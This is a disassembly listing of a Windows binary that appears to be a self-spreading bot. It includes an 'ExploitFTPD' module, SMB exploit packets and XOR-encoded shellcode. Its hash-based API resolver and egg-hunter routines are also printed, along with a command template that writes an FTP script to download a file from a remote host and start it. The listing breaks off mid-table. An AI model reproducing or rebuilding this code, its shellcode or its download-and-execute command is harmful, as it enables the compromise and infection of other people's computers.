7C9179FDh, 7C809A51h, 7C809AE4h dd 7C812BB6h, 7C810EF8h, 7C814AF2h, 7C809EF1h, 7C810E51h dd 7C812F39h, 7C80CC97h, 7C809740h, 7C910340h, 7C812D9Fh dd 7C809BC5h, 7C9105D4h, 7C91043Dh, 7C937A40h, 7C812A09h dd 7C80977Ah, 7C809766h, 7C8350BFh, 7C80176Bh, 7C80A7D4h dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C809728h, 0 dd 71B2517Fh, 0 dd 7712A63Fh, 0 dd 7CAB8CB2h, 7CA23A4Bh, 7CA40EE0h, 0 dd 7E41AE3Fh, 7E44F209h, 7E41A8ADh, 7E42E5C2h, 0 dd 77C019FFh, 77C018BAh, 77C01A50h, 0 dd 71AB3E00h, 71AB951Eh, 71AB88D3h, 71AB4FD4h, 71AB2B66h dd 71AB2BC0h, 71AB2DC0h, 71AC1028h, 71AB428Ah, 71AB615Ah dd 71AB664Dh, 71AB406Ah, 71AB9639h, 71AB3B91h, 71AB8769h dd 71AB2C69h, 71AB50C8h, 71AB2BF4h, 71AB4519h, 71AB3EA1h dd 71AB2B66h, 0 db 0D5h ; db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 49h ; I db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 69h ; i align 2 aCreatethread db 'CreateThread',0 align 4 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 db '',0 aExitthread db 'ExitThread',0 align 10h db 1Ah db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aZ_1 db 'z',0 aDeletecritical db 'DeleteCriticalSection',0 db 47h ; G db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aP_0 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 10h db 98h ; db 1, 47h, 65h aTprocaddress db 'tProcAddress',0 align 2 dw 248h aLoadlibrarya db 'LoadLibraryA',0 align 2 aQ db '',0 aFreelibrary db 'FreeLibrary',0 db 52h ; R db 2, 4Ch, 6Fh aCalfree db 'calFree',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 a__2 db '.',0 aClosehandle db 'CloseHandle',0 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 0DFh ; db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 52h ; R db 3, 54h, 65h aRminatethread db 'rminateThread',0 dw 3B9h aLstrcpya db 'lstrcpyA',0 align 2 retf ; --------------------------------------------------------------------------- db 1 aGettemppatha db 'GetTempPathA',0 align 2 dw 2ABh aReadfile db 'ReadFile',0 align 2 dw 310h aSetfilepointer db 'SetFilePointer',0 align 4 db 5Bh ; [ db 1, 47h, 65h aTfilesize db 'tFileSize',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 db 85h ; db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 aP_1 db '',0 aExitprocess db 'ExitProcess',0 dd 736C03B6h, 6D637274h, 416970h, 65470177h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 72430060h, 65746165h, 636F7250h dd 41737365h, 3970000h, 74697257h, 6C694665h, 16C0065h dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 655202B8h, 7361656Ch dd 74754D65h, 7865h, 6544007Ch, 6574656Ch, 656C6946h, 30E0041h aSetfileattribu db 'SetFileAttributesA',0 align 10h aZ_2 db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 10h aI db 'I',0 aCreateeventa db 'CreateEventA',0 align 10h db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 db '=',0 aCopyfilea db 'CopyFileA',0 dw 156h aGetfileattribu db 'GetFileAttributesA',0 align 4 db 89h ; db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 3B3h aLstrcmpa db 'lstrcmpA',0 align 2 dw 152h aGetexitcodepro db 'GetExitCodeProcess',0 align 10h db 87h ; db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 aM_0 db '',0 aDuplicatehandl db 'DuplicateHandle',0 a__3 db '_',0 aCreatepipe db 'CreatePipe',0 align 10h db 9Ch ; db 3, 57h, 72h aIteprivateprof db 'itePrivateProfileStringA',0 align 2 dw 1E9h aGetwindowsdire db 'GetWindowsDirectoryA',0 align 2 aE db 'E',0 aCreatedirector db 'CreateDirectoryA',0 align 2 dw 14Bh aGetdrivetype_0 db 'GetDriveTypeA',0 dw 146h aGetdiskfrees_0 db 'GetDiskFreeSpaceExA',0 db 6Eh ; n db 1, 47h, 65h aTlogicaldrives db 'tLogicalDriveStringsA',0 dw 3B0h aLstrcata db 'lstrcatA',0 align 2 dw 3BCh aLstrcpyna db 'lstrcpynA',0 dw 3BFh aLstrlena db 'lstrlenA',0 align 2 dw 2AEh aReadprocessmem db 'ReadProcessMemory',0 dw 27Ch aOpenprocess db 'OpenProcess',0 db 62h ; b db 2, 4Dh, 6Fh aDule32next db 'dule32Next',0 align 10h db 51h ; Q db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 60h ; ` db 2, 4Dh, 6Fh aDule32first db 'dule32First',0 db 'l',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 align 10h dd 7250028Eh, 7365636Fh, 4E323373h, 747865h, 7250028Ch dd 7365636Fh, 46323373h, 74737269h, 13D0000h, 43746547h dd 65727275h, 6854746Eh, 64616572h, 1FA0000h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 4 db 0D6h ; db 1, 47h, 65h aTtimeformata db 'tTimeFormatA',0 align 2 dw 13Fh aGetdateformata db 'GetDateFormatA',0 align 10h db 0B9h ; db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 24Eh aLocalalloc db 'LocalAlloc',0 align 4 db 14h db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 15Dh aGetfiletime db 'GetFileTime',0 db 0Ch db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 4 db 2Fh ; / db 2, 49h, 73h aDebuggerpresen db 'DebuggerPresent',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 a5_0 db '5',0 aCharupperbuffa db 'CharUpperBuffA',0 align 4 db 97h ; db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 dw 2D5h aWsprintfa db 'wsprintfA',0 db '&',0 aCharlowera db 'CharLowerA',0 align 4 aUser32_dll_0 db 'USER32.dll',0 align 4 db 34h ; 4 db 2, 53h, 65h aTsecurityinfo db 'tSecurityInfo',0 dw 21Fh aSetentriesinac db 'SetEntriesInAclA',0 align 2 dw 10Eh aGetsecurityinf db 'GetSecurityInfo',0 db 1Ch align 2 aAdjusttokenp_0 db 'AdjustTokenPrivileges',0 db 4Dh ; M db 1, 4Ch, 6Fh aOkupprivilegev db 'okupPrivilegeValueA',0 dd 704F01AAh, 72506E65h, 7365636Fh, 6B6F5473h, 6E65h, 655201F9h dd 74655367h, 756C6156h, 41784565h, 1E20000h, 4F676552h dd 4B6E6570h, 78457965h, 1C90041h, 43676552h, 65736F6Ch dd 79654Bh, 655201ECh, 65755167h, 61567972h, 4565756Ch dd 4178h, 65470123h, 65735574h, 6D614E72h, 4165h, 41564441h dd 32334950h, 6C6C642Eh, 1070000h, 6C656853h, 6578456Ch dd 65747563h, 0C40041h aShgetspecialfo db 'SHGetSpecialFolderPathA',0 aP_2 db '',0 aShgetfolderpat db 'SHGetFolderPathA',0 align 10h aShell32_dll_0 db 'SHELL32.dll',0 aA db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 dw 6 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 2 db 0Ah,0 aVerqueryvaluea db 'VerQueryValueA',0 align 4 db 0 align 2 aGetfileversion db 'GetFileVersionInfoA',0 dw 1 aGetfileversi_0 db 'GetFileVersionInfoSizeA',0 aVersion_dll db 'VERSION.dll',0 dd 65480206h, 6C417061h, 636F6Ch, 6548020Ch, 72467061h dd 6565h, 745202CCh, 776E556Ch, 646E69h, 6152029Dh, 45657369h dd 70656378h, 6E6F6974h, 21E0000h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 222h aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 1D8h aGettimezoneinf db 'GetTimeZoneInformation',0 align 10h dd 654701BEh, 73795374h, 546D6574h, 656D69h, 6547016Bh dd 636F4C74h, 69546C61h, 656Dh, 654701AFh, 61745374h, 70757472h dd 6F666E49h, 1080041h, 43746547h, 616D6D6Fh, 694C646Eh dd 41656Eh, 654701DEh, 72655674h, 6E6F6973h, 13E0000h aGetcurrentthre db 'GetCurrentThreadId',0 align 4 db 59h ; Y db 3, 54h, 6Ch aSsetvalue db 'sSetValue',0 dw 356h aTlsalloc db 'TlsAlloc',0 align 2 dw 31Dh aSetlasterror db 'SetLastError',0 align 2 dw 358h aTlsgetvalue db 'TlsGetValue',0 db 19h db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B1h aGetstdhandle db 'GetStdHandle',0 align 2 dw 15Eh aGetfiletype db 'GetFileType',0 db 19h db 2, 49h, 6Eh aItializecrit_0 db 'itializeCriticalSection',0 db 50h ; P db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 dd 65480208h, 72437061h, 65746165h, 3780000h, 74726956h dd 466C6175h, 656572h, 69560375h, 61757472h, 6C6C416Ch dd 636Fh, 65480210h, 65527061h, 6F6C6C41h, 22C0063h, 61427349h dd 69725764h, 74506574h, 2120072h, 70616548h, 657A6953h dd 33D0000h aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 434C023Ah, 5370614Dh, 6E697274h, 4167h, 434C023Bh, 5370614Dh dd 6E697274h, 5767h, 654700FCh, 49504374h, 6F666Eh, 654700F5h dd 50434174h, 18B0000h, 4F746547h, 50434D45h, 3620000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 aA_0 db '',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 aU db '',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 db 0B2h ; db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1B5h aGetstringtypew db 'GetStringTypeW',0 align 10h db 2Ch ; , db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 10h db '',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 29h ; ) db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 4 db 26h ; & db 2, 49h, 73h aBadcodeptr db 'BadCodePtr',0 align 4 db 5 db 3, 53h, 65h aTendoffile db 'tEndOfFile',0 align 4 a4_0 db '4',0 aComparestringa db 'CompareStringA',0 align 2 a5_1 db '5',0 aComparestringw db 'CompareStringW',0 align 4 db 8 db 3, 53h, 65h aTenvironment_0 db 'tEnvironmentVariableA',0 align 4 dd 3ABh dup(0) dword_432000 dd 0 dd offset loc_40321E dd offset loc_41203F dd offset loc_4127D3 dd offset loc_41381B dd offset loc_421DC5 dword_432018 dd 0 dword_43201C dd 0 dd offset sub_42322C dd offset sub_424780 dd offset sub_42AD36 dd offset sub_429B89 dword_432030 dd 0 dword_432034 dd 0 dd offset sub_424828 dword_43203C dd 0 dword_432040 dd 0 dd offset sub_429B9A dword_432048 dd 2 dup(0) dword_432050 dd 64h, 5 dup(0) db 0 dword_432069 dd 4344h ; sub_40B63F+175r ... align 10h dd 6 dup(0) dword_432088 dd 87h ; sub_403B2C+4315r ... off_43208C dd offset sub_40B63F ; DATA XREF: sub_401906+13Ar dword_432090 dd 0 dword_432094 dd 1 dd 3264h, 5 dup(0) dd 32434400h, 7 dup(0) dd 87h, 40B7DCh, 0 dd 1, 6Ch, 5 dup(0) dd 41534C00h, 5353h, 6 dup(0) dd 1BDh, 411E8Fh, 0 dd 1, 3161h, 5 dup(0) dd 4E534100h, 31h, 6 dup(0) dd 1BDh, 403088h, 0 dd 1, 3261h, 5 dup(0) dd 4E534100h, 32h, 6 dup(0) dd 8Bh, 403088h, 0 dd 1, 626Eh, 5 dup(0) dd offset loc_424DFF+1 dd 7 dup(0) dd 8Bh, 413642h, 2 dup(0) dd 70626Eh, 5 dup(0) dd 50424E00h, 455049h, 6 dup(0) dd 401h, 413642h, 2 dup(0) dd 316B77h, 5 dup(0) dd 4F4B5700h, 31h, 6 dup(0) dd 87h, 421B99h, 0 dd 1, 326B77h, 5 dup(0) dd 4F4B5700h, 32h, 6 dup(0) dd 1BDh, 421B99h, 0 dd 1, 336B77h, 5 dup(0) dd 454B5700h, 31h, 6 dup(0) dd 87h, 421ADFh, 0 dd 1, 346B77h, 5 dup(0) dd 454B5700h, 32h, 6 dup(0) dd 1BDh, 421ADFh, 0 dd 1, 656Eh, 5 dup(0) dd offset dword_454E00 dd 7 dup(0) dd 8Bh, 412E64h, 0 dd 1, 32656Eh, 5 dup(0) dd 32454E00h, 7 dup(0) dd 1BDh, 412E64h, 0 dd 1, 33656Eh, 5 dup(0) dd 33454E00h, 7 dup(0) dd 87h, 412E64h, 0 dd 1, 76h, 5 dup(0) dd 434E5600h, 7 dup(0) dd 170Ch, 42089Ch, 0 dd 1, 6276h, 5 dup(0) dd 434E5600h, 42h, 6 dup(0) dd 170Ch, 421415h, 0 dd 1, 31706Eh, 5 dup(0) dd 31504E00h, 7 dup(0) dd 87h, 414046h, 0 dd 1, 32706Eh, 5 dup(0) dd 32504E00h, 7 dup(0) dd 8Bh, 414046h, 0 dd 1, 33706Eh, 5 dup(0) dd 33504E00h, 7 dup(0) dd 1BDh, 414046h, 0 dd 1, 12h dup(0) dword_4325F0 dd 31706Eh, 5 dup(0) dd 626E0100h, 5 dup(0) dd 1000000h, 64h, 5 dup(0) dd 32640100h, 5 dup(0) dd 1000000h dword_432658 dd 64h, 5 dup(0) dd 706E0100h, 33h, 4 dup(0) dd 1000000h, 656Eh, 5 dup(0) dd offset dword_610100 dd 5 dup(0) dd 1000000h dword_4326C0 dd 31706Eh, 5 dup(0) dd 656E0100h, 33h, 4 dup(0) dd 1000000h, 3264h, 5 dup(0) dd 100h dword_432710 dd 32656Eh, 5 dup(0) dd 706E0100h, 32h, 4 dup(0) dd 1000000h, 64h, 5 dup(0) dd 100h dword_432760 dd 76h, 5 dup(0) dd 62760100h, 5 dup(0) dd 1000000h, 70626Eh, 5 dup(0) dd 100h dword_4327B0 dd 33706Eh, 5 dup(0) dd 656E0100h, 5 dup(0) dd 1000000h, 626Eh, 5 dup(0) dd 100h dword_432800 dd 3264h, 5 dup(0) dd 640100h, 5 dup(0) dd 1000000h, 31706Eh, 5 dup(0) dd 6B770100h, 33h, 4 dup(0) dd 1000000h dword_432868 dd 64h, 5 dup(0) dd 32640100h, 5 dup(0) dd 1000000h, 6Ch, 5 dup(0) dd 100h dword_4328B8 dd 64h, 5 dup(0) dd 31610100h, 5 dup(0) dd 1000000h, 3261h, 5 dup(0) dd 100h dword_432908 dd 626Eh, 5 dup(0) dd 626E0100h, 70h, 4 dup(0) dd 1000000h, 32706Eh, 5 dup(0) dd 100h dword_432958 dd 4 dword_43295C dd 4 dword_432960 dd 3 dword_432964 dd 3 dword_432968 dd 3 dword_43296C dd 3 dword_432970 dd 4 dword_432974 dd 3 dword_432978 dd 3 dword_43297C dd 3 dword_432980 dd 0E983C931h, 0FFFFE8B0h, 5EC0FFFFh, 410E7681h, 839088B7h ; DATA XREF: .text:004030CBo ; sub_40B427+4Bo ... dd 0F4E2FCEEh, 0DD63DDBDh, 6F774EA9h, 0FC03D7BEh, 0D5039365h dd 95F43C7Dh, 1B67B639h, 0CF03AF0Eh, 0D963B661h, 910383CAh dd 94886AFh, 0E44833EDh, 9D427646h, 64637540h, 0B8ACE37Ah dd 0CF035234h, 0F663B665h, 1BC3BBCAh, 7B89AB1Eh, 19039B42h dd 0F194932Dh, 0F4538682h, 1BB8F4CAh, 0E003BB01h, 0D0031A5Dh dd 1EE0E949h, 0C064B90Fh, 0C3EE61BEh, 0A2BBDF27h, 0A2FBC029h dd 4077E31Eh, 6C657C29h, 4677E77Ah, 0F66D3E1Eh, 92805AC0h dd 6F8ADD14h, 9951DF91h, 6FDF1AB4h, 0C3DBE497h, 0C3CBE412h dd 4077E402h, 658BDF27h, 7101E427h, 8A2CDFD4h, 6FDF7031h dd 0C198DD97h, 0F8584814h, 79A61AE5h, 0C35E4816h, 0F8584814h dd 0D90EFEA4h, 0C05E4816h, 6FDDE315h, 77E02491h, 0C7F17138h dd 6FDD61BEh, 0F4E2D191h, 0FDEBDF27h, 0C0E252C8h, 19449E18h dd 19CCDDA6h, 634886A3h, 0BDCA49EBh, 3A4F5BFh, 3BB0CDCCh dd 0E2E01CEAh, 6F9E04BFh, 4677F334h, 0C1DAE01Ah, 91E2E610h dd 0C1DDE610h, 3DE067BEh, 0C346B298h, 6FE261BEh, 407780BEh dd 1374E0CAh, 4677D385h, 0F8584813h, 0F06879AEh, 6F5E4812h dd 9088B791h, 0 dd 159h dword_432AE0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432B2C dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_432B48 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_401AB3+13Fo dword_432B5C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_401AB3+168o dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 2 dup(0) dd 44000081h, 464B4320h, 454E4544h, 45444643h, 46434646h dd 46464547h, 43414343h, 2 dup(43414341h), 45200041h, 4644454Bh dd 45494545h, 43414344h, 4 dup(43414341h), 414141h, 0 dd 2F000000h, 424D53FFh, 72h, 4 dup(0) dd 25C0000h, 0 dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h, 48000000h, 424D53FFh dd 73h, 4 dup(0) dd 25C0000h, 0 dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0) dd 1000000h, 0B000000h, 6E000000h, 79700074h, 626D73h dd 0 aEftpdDTotalDIn db ' (EFTPD): (%d), Total -> (%d in %s)',0 ; DATA XREF: start+9Ao aSD db ' (%s: %d),',0 ; DATA XREF: start+4Co align 4 aSStats db '%s (Stats):',0 ; DATA XREF: start+1Ao aCCCCCC db '%c%c%c%c%c%c',0 ; DATA XREF: sub_4010E7+66o align 4 aS_4 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401160+153o ; sub_41015C+58o ... align 10h aEchoOpenSDIEch db 'echo open %s %d > i &echo user %s %s >> i &echo get %s >> i &echo' ; DATA XREF: sub_401160+114o db ' quit >> i &ftp -n -s:i &start %s',0Dh,0Ah,0 align 4 aSDDDDD_exe db '%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_401160+C3o ; sub_4130E5+253o ... align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_401311+DEo ; sub_402190+39Fo a0: ; DATA XREF: sub_401311+7Co ; sub_401311+A8o ... unicode 0, <0>,0 asc_432D3C: ; DATA XREF: sub_401311+77o ; sub_401311+A3o ... unicode 0, <x>,0 a__0: ; DATA XREF: sub_401311+30o ; sub_4128D4+13o ... unicode 0, <.>,0 aSInactive db '%s Inactive',0 ; DATA XREF: sub_401408+51o aSCipS db '%s (CIP): %s',0 ; DATA XREF: sub_401408+2Ao align 10h aSStartedPortIF db '%s Started,Port: (%i), File: (%s)',0 ; DATA XREF: sub_401477+E1o align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4015FC+3Co aSSDScanthreadD db '%s (%s:%d), ScanThread: (%d), SubThread: (%d)',0 ; DATA XREF: sub_40178D+B8o align 10h aZwopensection db 'ZwOpenSection',0 ; DATA XREF: sub_401C4A+23o align 10h aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_401C4A+1Bo align 4 aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_401C4Ao align 4 aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_401CB1+5Do align 4 off_432E04 dd offset aSystray_exe ; DATA XREF: sub_401D57+47o ; "systray.exe" aEvicePhysicalm: unicode 0, <evice\PhysicalMemory>,0 align 4 aSesecuritypriv db 'SeSecurityPrivilege',0 ; DATA XREF: sub_40203F:loc_4020E5o a503 db '503',0Dh,0Ah,0 ; DATA XREF: sub_402190:loc_40269Do align 10h a221 db '221',0Dh,0Ah,0 ; DATA XREF: sub_402190+4F2o align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_402190+4E0o align 10h a425 db '425',0Dh,0Ah,0 ; DATA XREF: sub_402190:loc_40264Eo align 4 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_402190+48Eo align 4 a226 db '226',0Dh,0Ah,0 ; DATA XREF: sub_402190+448o align 4 a150 db '150',0Dh,0Ah,0 ; DATA XREF: sub_402190+3E7o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_402190+3D2o align 4 a200 db '200',0Dh,0Ah,0 ; DATA XREF: sub_402190+3AAo align 4 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_402190+369o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402190+32Bo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_402190+2F2o align 4 a230 db '230',0Dh,0Ah,0 ; DATA XREF: sub_402190+2CDo align 4 aPass db 'PASS',0 ; DATA XREF: sub_402190+2BCo align 4 a331 db '331',0Dh,0Ah,0 ; DATA XREF: sub_402190+297o align 4 aUser db 'USER',0 ; DATA XREF: sub_402190+285o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_402190+274o ; sub_403B2C+2CF5o ... align 4 a220 db '220',0Dh,0Ah,0 ; DATA XREF: sub_402190:loc_40236Ao align 4 aRb db 'rb',0 ; DATA XREF: sub_40274D+2Bo align 10h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40281E+9Co ; sub_41C090+6Fo align 4 aSSDThreadSStop db '%s %s (%d thread(s) stopped).',0 ; DATA XREF: sub_40281E+78o ; sub_41C090+30o align 4 aExploitftpd db 'ExploitFTPD',0 ; DATA XREF: sub_40281E+6Eo ; sub_40281E+92o align 8 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402B3C+B2o align 4 dword_432F54 dd 10FF8h, 0 dword_432F5C dd 10FF8h dword_432F60 dd 7FFDF020h, 0 dword_432F68 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432FF0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_433020 dd 0 dd 800000D4h, 2 dup(0) unk_433030 db 81h ; ; DATA XREF: sub_403036+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_433080 proc near ; DATA XREF: .text:004030EAo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43317C push dword ptr [esi] push 63D61209h call sub_433192 mov [esi+8], eax call sub_433145 push dword ptr [esi+4] push 0CA2BD06Bh call sub_433192 mov [esi+0Ch], eax call sub_4330F7 push dword ptr [esi+4] push 4C0297FAh call sub_433192 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_433080 endp ; =============== S U B R O U T I N E ======================================= sub_4330F7 proc near ; CODE XREF: sub_433080+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_433120 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4330F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_433120 proc near ; CODE XREF: sub_4330F7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43312F: ; CODE XREF: sub_433120+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43313C inc ebx jmp short loc_43312F ; --------------------------------------------------------------------------- loc_43313C: ; CODE XREF: sub_433120+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_433120 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_433145 proc near ; CODE XREF: sub_433080+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43315D: ; CODE XREF: sub_433145+1Ej cmp [ecx], ebx jz short loc_433165 mov ecx, [ecx] jmp short loc_43315D ; --------------------------------------------------------------------------- loc_433165: ; CODE XREF: sub_433145+1Aj mov edx, edi loc_433167: ; CODE XREF: sub_433145+2Aj cmp [edx+4], ebx jz short loc_433171 mov edx, [edx+4] jmp short loc_433167 ; --------------------------------------------------------------------------- loc_433171: ; CODE XREF: sub_433145+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_433145 endp ; =============== S U B R O U T I N E ======================================= sub_43317C proc near ; CODE XREF: sub_433080+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43317C endp ; =============== S U B R O U T I N E ======================================= sub_433192 proc near ; CODE XREF: sub_433080+16p ; sub_433080+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4331A8: ; CODE XREF: sub_433192+33j jecxz short loc_4331E2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4331B5: ; CODE XREF: sub_433192+2Dj lodsb cmp al, ah jz short loc_4331C1 ror edi, 0Dh add edi, eax jmp short loc_4331B5 ; --------------------------------------------------------------------------- loc_4331C1: ; CODE XREF: sub_433192+26j cmp edi, [esp+20h+arg_0] jnz short loc_4331A8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4331E2: ; CODE XREF: sub_433192:loc_4331A8j ; sub_433192:loc_4331E2j jmp short loc_4331E2 sub_433192 endp ; --------------------------------------------------------------------------- align 8 dword_4331E8 dd 0F254C481h, 0FFFFhdword_4331F0 dd 23h dword_4331F4 dd 60h dword_4331F8 dd 62B0606h, 2050501h, 0A0hdword_433204 dd 0A1h dword_433208 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402B3C+153o align 4 loc_433214: ; DATA XREF: sub_402B3C+E8o jmp short near ptr dword_43321C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43321C dd 0 aSSSExD db '%s %s -> %s (Ex: %d)',0 ; DATA XREF: .text:00403203o ; sub_40B63F+182o ... align 4 off_433238 dd offset dword_433F38 ; DATA XREF: sub_403625+69r dd offset dword_433F34 dd offset dword_433F30 dd offset word_433F2C dd offset dword_433F28 dd offset dword_433F24 dd offset dword_433F20 dd offset dword_433F1C dd offset dword_433F18 dd offset dword_433F14 dd offset dword_433F10 dd offset dword_433F0C dd offset dword_433F08 dd offset dword_433F04 dd offset dword_433F00 dd offset dword_433EFC dd offset dword_433EF8 dd offset dword_433EF4 dd offset dword_433EF0 dd offset asc_432D3C ; "x" dd offset word_433EEC dd offset aV_0 ; "v" dd offset aB_0 ; "b" dd offset aN_0 ; "n" dd offset aM_2 ; "m" dd offset aQ_0 ; "Q" dd offset aW ; "W" dd offset aE_0 ; "E" dd offset aR ; "R" dd offset aT ; "T" dd offset aY ; "Y" dd offset aU_0 ; "U" dd offset aI_0 ; "I" dd offset aO_0 ; "O" dd offset aP_3 ; "P" dd offset aA_1 ; "A" dd offset aS_5 ; "S" dd offset aD ; "D" dd offset aF ; "F" dd offset aG ; "G" dd offset asc_433E9C ; "H" dd offset aJ ; "J" dd offset aK_0 ; "K" dd offset asc_433E90 ; "L" dd offset aZ_3 ; "Z" dd offset asc_433E88 ; "X" dd offset 